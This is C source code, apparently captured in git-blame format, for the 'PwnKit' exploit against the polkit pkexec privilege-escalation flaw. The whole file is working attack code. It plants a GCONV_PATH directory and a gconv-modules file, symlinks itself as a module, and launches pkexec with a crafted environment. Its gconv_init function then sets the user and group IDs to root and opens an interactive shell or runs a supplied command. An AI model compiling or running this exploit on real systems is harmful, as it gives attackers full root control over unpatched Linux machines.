2022-01-27 22:38:48 +03:00
|
|
|
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
|
2022-01-26 17:28:42 +03:00
|
|
|
|
|
|
|
#define _XOPEN_SOURCE 700
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <dirent.h>
|
|
|
|
#include <errno.h>
|
|
|
|
#include <fcntl.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
#include <string.h>
|
|
|
|
#include <unistd.h>
|
2022-01-27 22:38:48 +03:00
|
|
|
#include <stdlib.h>
|
2022-01-26 17:28:42 +03:00
|
|
|
#include <ftw.h>
|
|
|
|
|
2022-01-27 14:35:57 +03:00
|
|
|
#include <sys/wait.h>
|
2022-01-26 17:28:42 +03:00
|
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/types.h>
|
2022-01-27 22:38:48 +03:00
|
|
|
#include <sys/signal.h>
|
2022-01-26 17:28:42 +03:00
|
|
|
|
|
|
|
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
|
|
|
|
|
|
|
|
int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf)
|
|
|
|
{
|
|
|
|
int rv = remove(fpath);
|
|
|
|
|
|
|
|
if (rv)
|
|
|
|
perror(fpath);
|
|
|
|
|
|
|
|
return rv;
|
|
|
|
}
|
|
|
|
|
|
|
|
int rmrf(char *path)
|
|
|
|
{
|
|
|
|
return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
|
|
|
|
}
|
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
void entry()
|
2022-01-26 17:28:42 +03:00
|
|
|
{
|
2022-01-27 22:38:48 +03:00
|
|
|
int res;
|
2022-01-26 17:28:42 +03:00
|
|
|
FILE *fp;
|
2022-01-27 22:38:48 +03:00
|
|
|
char buf[PATH_MAX];
|
|
|
|
int pipefd[2];
|
|
|
|
char *cmd;
|
|
|
|
int argc;
|
|
|
|
char **argv;
|
|
|
|
register unsigned long *rsp asm ("rbp");
|
|
|
|
|
|
|
|
argc = *(int *)(rsp+1);
|
|
|
|
argv = (char **)rsp+2;
|
2022-01-26 17:28:42 +03:00
|
|
|
|
|
|
|
res = mkdir("GCONV_PATH=.", 0777);
|
|
|
|
if (res == -1 && errno != EEXIST)
|
|
|
|
{
|
|
|
|
perror("Failed to create directory");
|
|
|
|
_exit(1);
|
|
|
|
}
|
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
res = creat("GCONV_PATH=./.pkexec", 0777);
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
res = mkdir(".pkexec", 0777);
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
fp = fopen(".pkexec/gconv-modules", "w+");
|
2022-01-26 17:28:42 +03:00
|
|
|
if (fp == NULL)
|
|
|
|
{
|
|
|
|
perror("Failed to open output file");
|
|
|
|
_exit(1);
|
|
|
|
}
|
|
|
|
if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
|
|
|
|
{
|
|
|
|
perror("Failed to write config");
|
|
|
|
_exit(1);
|
|
|
|
}
|
|
|
|
fclose(fp);
|
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
|
|
|
|
res = symlink(buf, ".pkexec/pkexec.so");
|
2022-01-26 17:28:42 +03:00
|
|
|
if (res == -1)
|
|
|
|
{
|
|
|
|
perror("Failed to copy file");
|
|
|
|
_exit(1);
|
|
|
|
}
|
2022-01-27 22:38:48 +03:00
|
|
|
|
|
|
|
pipe(pipefd);
|
|
|
|
if (fork() == 0)
|
2022-01-27 14:35:57 +03:00
|
|
|
{
|
2022-01-27 22:38:48 +03:00
|
|
|
close(pipefd[1]);
|
|
|
|
|
|
|
|
buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
|
|
|
|
if (strstr(buf, "pkexec --version") == buf) {
|
|
|
|
// Cleanup for situations where the exploit didn't work
|
|
|
|
puts("Exploit failed. Target is most likely patched.");
|
2022-01-27 14:35:57 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
rmrf("GCONV_PATH=.");
|
|
|
|
rmrf(".pkexec");
|
|
|
|
}
|
2022-01-27 14:35:57 +03:00
|
|
|
|
|
|
|
_exit(0);
|
|
|
|
}
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
close(pipefd[0]);
|
|
|
|
|
|
|
|
dup2(pipefd[1], 2);
|
|
|
|
close(pipefd[1]);
|
|
|
|
|
|
|
|
cmd = NULL;
|
|
|
|
if (argc > 1) {
|
|
|
|
cmd = memcpy(argv[1]-4, "CMD=", 4);
|
|
|
|
}
|
|
|
|
char *args[] = {NULL};
|
|
|
|
char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
|
|
|
|
execve("/usr/bin/pkexec", args, env);
|
|
|
|
|
|
|
|
// In case pkexec is not in /usr/bin/
|
|
|
|
execvpe("pkexec", args, env);
|
2022-01-26 17:28:42 +03:00
|
|
|
|
|
|
|
_exit(0);
|
2022-01-27 22:38:48 +03:00
|
|
|
|
2022-01-26 17:28:42 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
void gconv() {}
|
|
|
|
void gconv_init()
|
|
|
|
{
|
2022-01-27 22:38:48 +03:00
|
|
|
close(2);
|
|
|
|
dup2(1, 2);
|
|
|
|
char *cmd = getenv("CMD");
|
|
|
|
|
2022-01-26 17:28:42 +03:00
|
|
|
setresuid(0, 0, 0);
|
|
|
|
setresgid(0, 0, 0);
|
|
|
|
rmrf("GCONV_PATH=.");
|
2022-01-27 22:38:48 +03:00
|
|
|
rmrf(".pkexec");
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
if (cmd) {
|
|
|
|
// In case interactive bash was not possible
|
|
|
|
execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
|
|
|
|
} else {
|
|
|
|
// Try interactive bash first
|
|
|
|
execve("/bin/bash", (char *[]){"-i", NULL}, NULL);
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
// In case interactive bash was not possible
|
|
|
|
execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
|
|
|
|
}
|
2022-01-26 17:28:42 +03:00
|
|
|
_exit(0);
|
|
|
|
}
|